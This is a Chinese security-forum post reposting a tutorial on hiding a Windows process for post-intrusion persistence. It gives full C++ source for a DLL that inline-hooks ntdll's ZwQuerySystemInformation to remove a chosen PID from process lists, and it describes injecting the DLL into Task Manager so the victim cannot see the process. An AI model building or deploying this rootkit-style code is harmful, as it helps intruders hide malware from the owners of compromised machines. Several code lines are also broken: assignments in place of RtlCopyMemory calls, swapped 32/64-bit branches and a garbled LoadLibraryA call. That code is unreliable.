安全矩阵

 找回密码
 立即注册
搜索
查看: 2501|回复: 0

巧用进程隐藏进行权限维持

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-11-6 14:56:33 | 显示全部楼层 |阅读模式
原文链接:巧用进程隐藏进行权限维持

基础知识进程(Process)是计算机中的程序关于某数据集合上的一次运行活动,是系统进行资源分配和调度的基本单位,是操作系统结构的基础。在早期面向进程设计的计算机结构中,进程是程序的基本执行实体;在当代面向线程设计的计算机结构中,进程是线程的容器。程序是指令、数据及其组织形式的描述,进程是程序的实体。
我们在计算机上的每个程序运行起来之后都可以被称作进程,进程可以在任务管理器里面看见,如下所示

那么我们在进行渗透的过程中,如果我们运行了一些本没有运行的进程,我们想要达到不被对方发现的效果,其中一个方法就是实现进程隐藏,让对方在任务管理器里面看不到这个进程,当然这里只针对的是不被小白发现,专业的人员不在这个讨论范围内。
那么实现进程隐藏可以通过HOOK api的方式实现,我们知道一般我们要获取进程快照都是使用CreateToolHelp32Snapshot这个api,而这个api在内核层最终会调用ZwQuerySystemInformation这个api来获取系统进程信息,那么我们就可以直接去hook内核的这个api,因为最终还是调用内核的这个api,从而实现进程隐藏
实现过程那么这里需要一些基础知识,hook api的实现最终还是要归结到Inline HOOK,通过修改api的前几个字节的数据,写入一个E9(jump)到我们自己的函数中执行
简单介绍一下Inline hook,API函数都保存在操作系统提供的DLL文件中,当在程序中使用某个API函数时,在运行程序后,程序会隐式地将API所在的DLL加载入进程中。这样,程序就会像调用自己的函数一样调用API。
在进程中当EXE模块调用CreateFile()函数的时候,会去调用kernel32.dll模块中的CreateFile()函数,因为真正的CreateFile()函数的实现在kernel32.dll模块中。
CreateFile()是API函数,API函数也是由人编写的代码再编译而成的,也有其对应的二进制代码。既然是代码,那么就可以被修改。通过一种“野蛮”的方法来直接修改API函数在内存中的映像,从而对API函数进行HOOK。使用的方法是,直接使用汇编指令的jmp指令将其代码执行流程改变,进而执行我们的代码,这样就使原来的函数的流程改变了。执行完我们的流程以后,可以选择性地执行原来的函数,也可以不继续执行原来的函数。
假设要对某进程的kernel32.dll的CreateFile()函数进行HOOK,首先需要在指定进程中的内存中找到CreateFile()函数的地址,然后修改CreateFile()函数的首地址的代码为jmp MyProc的指令。这样,当指定的进程调用CreateFile()函数时,就会首先跳转到我们的函数当中去执行流程,这样就完成了我们的HOOK了。
那么既然有了IAThook,我们为什么还要用Inlinehook呢,直接用IAThook不是更方便吗?看硬编码多麻烦。
我们思考一个问题,如果函数不是以LoadLibrary方式加载,那么肯定在导入表里就不会出现,那么IAThook就不能使用了,这就是Inlinehook诞生的条件。
硬编码
何为硬编码?
这里我就不生搬概念性的东西来解释了,说说我自己的理解。硬编码可以说就是用十六进制的字符组成的,他是给cpu读的语言,我们知道在计算机里面只有0和1,如果你要让他去读c语言的那些字符他是读不懂的,他只会读0和1,这就是硬编码。
硬编码的结构如下,有定长指令、变长指令等等一系列指令,还跟各种寄存器相关联起来,确实如果我们去读硬编码的话太痛苦了

这里就不过多延伸了,我们在Inline hook里面只会用到一个硬编码就是E9,对应的汇编代码就是jmp
这里我就直接通过Inline hook来实现进程隐藏,首先我们要明确思路,首先我们要获取到ZwQuerySystemInformation这个函数的地址,首先看一下这个函数的结构
  1.   typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
  2.        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
  3.        _Inout_   PVOID                    SystemInformation,
  4.        _In_      ULONG                    SystemInformationLength,
  5.        _Out_opt_ PULONG                   ReturnLength
  6.       );
复制代码

那么我们首先获取ntdll.dll的基址,这里可以使用GetModuleHandle,也可以使用LoadLibraryA

HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
然后使用GetProcAddress获取ZwQuerySystemInformation的函数地址

typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
获取到函数地址之后我们就需要进行hook操作,这里注意一下,在32位中跳转的语句应该为jmp New_ZwQuerySystemInformation,对应的硬编码就是E9 xx xx xx xx,那么在32位的情况下我们要执行跳转就需要修改5个字节的硬编码,而在64位中跳转的语句应该为mov rax, 0x1234567812345678、jmp rax,对应的硬编码就是48 b8 7856341278563412、ff e0,需要修改12个字节
在32位的情况下,修改5个字节

BYTE pData[5] = { 0xe9, 0, 0, 0, 0 };
计算偏移地址,计算公式为新地址 - 旧地址 - 5

DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
因为我们要覆盖前5个字节那么我们首先把前5个字节放到其他地方保存
  1. ::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr));
  2. ::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));
复制代码

64位的情况下同理,只是修改字节为12个字节
  1. BYTE pData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };
  2.    ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation;
  3.   ::RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr));
  4.   ::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));
复制代码

然后修改权限为可读可写可执行权限,否则会报错0xC0000005

::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);
修改硬编码,再还原属性
  1. ::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));

  2. ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);
复制代码


到这里我们的hook函数就已经完成得差不多了,再写一个unhook函数,思路大体相同,代码如下
  1. void UnHookAPI()
  2. {
  3.    //获取ntdll.dll基址

  4.    HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");

  5.    if (hDll == NULL)
  6.   {
  7.        printf("[!] GetModuleHandle false,error is: %d", GetLastError());
  8.        return;
  9.   }
  10.    else
  11.   {
  12.        printf("[*] GetModuleHandle successfully!\n\n");
  13.   }

  14.    // 获取 ZwQuerySystemInformation 函数地址
  15.    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");

  16.    if (NULL == ZwQuerySystemInformation)
  17.   {
  18.        printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());
  19.        return;
  20.   }
  21.    else
  22.   {
  23.        printf("[*] ZwQuerySystemInformation successfully!\n\n");
  24.   }

  25.    // 修改为可读可写可执行权限
  26.    DWORD dwOldProtect = 0;
  27.   ::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);

  28.    // 32位下还原5字节,64位下还原12字节

  29. #ifdef _WIN64
  30.   ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));
  31. #else
  32.   ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32));
  33. #endif
  34.    // 还原权限
  35.   ::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
复制代码

当我们执行完hook函数之后,需要跳转到我们自己的函数,在我们自己的函数里面,在我们自己的函数里面需要判断是否检索系统的进程信息,如果进程信息存在我们就需要将进程信息剔除那么我们首先将钩子卸载掉,防止多次同时访问hook函数而造成数据混乱

UnHookAPI();
然后加载ntdll.dll

HMODULE hDll = :oadLibraryA("ntdll.dll");
再获取ZwQuerySystemInformation的基址

typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
这里看一下ZwQuerySystemInformation这个函数结构
  1. NTSTATUS WINAPI ZwQuerySystemInformation(
  2. _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
  3. _Inout_   PVOID                    SystemInformation,
  4. _In_      ULONG                    SystemInformationLength,
  5. _Out_opt_ PULONG                   ReturnLength
  6. );
复制代码

主要要关注的有两个参数,第一个参数是SystemInformationClass,他是用来表示要检索的系统信息的类型,再就是返回值,当函数执行成功则返回NTSTATUS,否则返回错误代码,那么我们首先要判断消息类型是否是进程信息
  1. status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);

  2. if (NT_SUCCESS(status) && 5 == SystemInformationClass)
复制代码

这里我们定义一个指针指向返回结果信息的缓冲区

pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
判断如果是我们想要隐藏进程的PID则删除进程信息

if (HideProcessID == (DWORD)pCur->UniqueProcessId)
删除完成之后我们再还原hook

HookAPI();
我们要实现的功能不只是在自己的进程空间内隐藏指定进程,那么我们就可以把代码写成dll文件方便注入,完整代码如下
  1. // dllmain.cpp : 定义 DLL 应用程序的入口点。
  2. #include "pch.h"
  3. #include <iostream>
  4. #include <Winternl.h>

  5. HMODULE g_hModule;
  6. BYTE g_Oldwin32[5] = { 0 };
  7. BYTE g_Oldwin64[12] = { 0 };

  8. #pragma data_seg("mydata")
  9. HHOOK g_hHook = NULL;
  10. #pragma data_seg()
  11. #pragma comment(linker, "/SECTION:mydata,RWS")

  12. NTSTATUS New_ZwQuerySystemInformation(
  13.    SYSTEM_INFORMATION_CLASS SystemInformationClass,
  14.    PVOID SystemInformation,
  15.    ULONG SystemInformationLength,
  16.    PULONG ReturnLength
  17. );

  18. void HookAPI();
  19. void UnHookAPI();

  20. void HookAPI()
  21. {

  22.    //获取ntdll.dll基址

  23.    HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");

  24.    if (hDll == NULL)
  25.   {
  26.        printf("[!] GetModuleHandle false,error is: %d\n\n", GetLastError());
  27.        return;
  28.   }
  29.    else
  30.   {
  31.        printf("[*] GetModuleHandle successfully!\n\n");
  32.   }
  33. #ifdef _WIN64
  34.    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
  35.        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
  36.        _Inout_   PVOID                    SystemInformation,
  37.        _In_      ULONG                    SystemInformationLength,
  38.        _Out_opt_ PULONG                   ReturnLength
  39.       );
  40. #else
  41.    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
  42.        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
  43.        _Inout_   PVOID                    SystemInformation,
  44.        _In_      ULONG                    SystemInformationLength,
  45.        _Out_opt_ PULONG                   ReturnLength
  46.       );
  47. #endif
  48.    // 获取 ZwQuerySystemInformation 函数地址
  49.    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");

  50.    if (NULL == ZwQuerySystemInformation)
  51.   {
  52.        printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());
  53.        return;
  54.   }
  55.    else
  56.   {
  57.        printf("[*] ZwQuerySystemInformation successfully!\n\n");
  58.   }

  59.    // 32位则修改前5字节,64位则修改前12字节

  60. #ifdef _WIN64
  61.    // jmp New_ZwQuerySystemInformation
  62.    // E9 xx xx xx xx

  63.    BYTE pData[5] = { 0xe9, 0, 0, 0, 0 };

  64.    // 计算偏移地址 , 偏移地址 = 新地址 - 旧地址 - 5
  65.    DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
  66.   ::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr));
  67.   ::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));

  68. #else
  69.    // mov rax, 0x1234567812345678
  70.    // jmp rax
  71.    // 48 b8 7856341278563412
  72.    // ff e0

  73.    BYTE pData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };
  74.    ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation;
  75.   ::RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr));
  76.   ::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));

  77. #endif
  78.    DWORD dwOldProtect = 0;

  79.    //修改为可读可写可执行权限
  80.   ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);
  81.   ::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));

  82.    //还原权限
  83.   ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);
  84. }

  85. void UnHookAPI()
  86. {
  87.    //获取ntdll.dll基址

  88.    HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");

  89.    if (hDll == NULL)
  90.   {
  91.        printf("[!] GetModuleHandle false,error is: %d", GetLastError());
  92.        return;
  93.   }
  94.    else
  95.   {
  96.        printf("[*] GetModuleHandle successfully!\n\n");
  97.   }
  98. #ifdef _WIN64
  99.    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
  100.        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
  101.        _Inout_   PVOID                    SystemInformation,
  102.        _In_      ULONG                    SystemInformationLength,
  103.        _Out_opt_ PULONG                   ReturnLength
  104.       );
  105. #else
  106.    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
  107.        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
  108.        _Inout_   PVOID                    SystemInformation,
  109.        _In_      ULONG                    SystemInformationLength,
  110.        _Out_opt_ PULONG                   ReturnLength
  111.       );
  112. #endif

  113.    // 获取 ZwQuerySystemInformation 函数地址
  114.    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");

  115.    if (NULL == ZwQuerySystemInformation)
  116.   {
  117.        printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());
  118.        return;
  119.   }
  120.    else
  121.   {
  122.        printf("[*] ZwQuerySystemInformation successfully!\n\n");
  123.   }

  124.    // 修改为可读可写可执行权限
  125.    DWORD dwOldProtect = 0;
  126.   ::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);

  127.    // 32位下还原5字节,64位下还原12字节

  128. #ifdef _WIN64
  129.   ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));
  130. #else
  131.   ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32));
  132. #endif

  133.    // 还原权限
  134.   ::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
  135. }

  136. NTSTATUS New_ZwQuerySystemInformation(
  137.    SYSTEM_INFORMATION_CLASS SystemInformationClass,
  138.    PVOID SystemInformation,
  139.    ULONG SystemInformationLength,
  140.    PULONG ReturnLength
  141. )
  142. {
  143.    NTSTATUS status = 0;
  144.    PSYSTEM_PROCESS_INFORMATION pCur = NULL;
  145.    PSYSTEM_PROCESS_INFORMATION pPrev = NULL;

  146.    // 隐藏进程的PID
  147.    DWORD HideProcessID = 13972;

  148.    // 卸载钩子
  149.    UnHookAPI();

  150.    HMODULE hDll = ::LoadLibraryA("ntdll.dll");
  151.    if (hDll == NULL)
  152.   {
  153.        printf("[!] LoadLibraryA failed,error is : %d\n\n", GetLastError());
  154.        return status;
  155.   }
  156.    else
  157.   {
  158.        printf("[*] LoadLibraryA successfully!\n\n");
  159.   }

  160. #ifdef _WIN64
  161.    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
  162.        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
  163.        _Inout_   PVOID                    SystemInformation,
  164.        _In_      ULONG                    SystemInformationLength,
  165.        _Out_opt_ PULONG                   ReturnLength
  166.       );
  167. #else
  168.    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
  169.        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
  170.        _Inout_   PVOID                    SystemInformation,
  171.        _In_      ULONG                    SystemInformationLength,
  172.        _Out_opt_ PULONG                   ReturnLength
  173.       );
  174. #endif

  175.    // 获取 ZwQuerySystemInformation 函数地址
  176.    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");

  177.    if (NULL == ZwQuerySystemInformation)
  178.   {
  179.        printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());
  180.        return status;
  181.   }
  182.    else
  183.   {
  184.        printf("[*] ZwQuerySystemInformation successfully!\n\n");
  185.   }

  186.    // 调用原函数 ZwQuerySystemInformation
  187.    status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);

  188.    if (NT_SUCCESS(status) && 5 == SystemInformationClass)
  189.   {
  190.        pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;

  191.        while (TRUE)
  192.       {
  193.            // 若为隐藏的进程PID则删除进程信息
  194.            if (HideProcessID == (DWORD)pCur->UniqueProcessId)
  195.           {
  196.                if (pCur->NextEntryOffset == 0)
  197.               {
  198.                    pPrev->NextEntryOffset = 0;
  199.               }

  200.                else
  201.               {
  202.                    pPrev->NextEntryOffset = pCur->NextEntryOffset + pPrev->NextEntryOffset;
  203.               }
  204.           }

  205.            else
  206.           {
  207.                pPrev = pCur;
  208.           }

  209.            if (pCur->NextEntryOffset == 0)
  210.           {
  211.                break;
  212.           }

  213.            pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset);
  214.       }
  215.   }

  216.    HookAPI();

  217.    return status;
  218. }


  219. BOOL APIENTRY DllMain( HMODULE hModule,
  220.                       DWORD  ul_reason_for_call,
  221.                       LPVOID lpReserved
  222.                     )
  223. {
  224.    switch (ul_reason_for_call)
  225.   {
  226.    case DLL_PROCESS_ATTACH:
  227.        HookAPI();
  228.        g_hModule = hModule;
  229.        break;
  230.    case DLL_THREAD_ATTACH:
  231.    case DLL_THREAD_DETACH:
  232.    case DLL_PROCESS_DETACH:
  233.        UnHookAPI();
  234.        break;
  235.   }
  236.    return TRUE;
  237. }
复制代码

实现效果这里可以通过全局钩子注入或者远程线程注入把dll注入到其他进程里面,那么如果我们想要在任务管理器里面看不到某个进程,那么就需要将dll注入到任务管理器里面

我这里选择隐藏的是QQ音乐,这里运行下程序将dll注入

再看下效果,在任务管理器里面已经看不到QQ音乐这个进程了,进程隐藏成功



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 01:42 , Processed in 0.016125 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表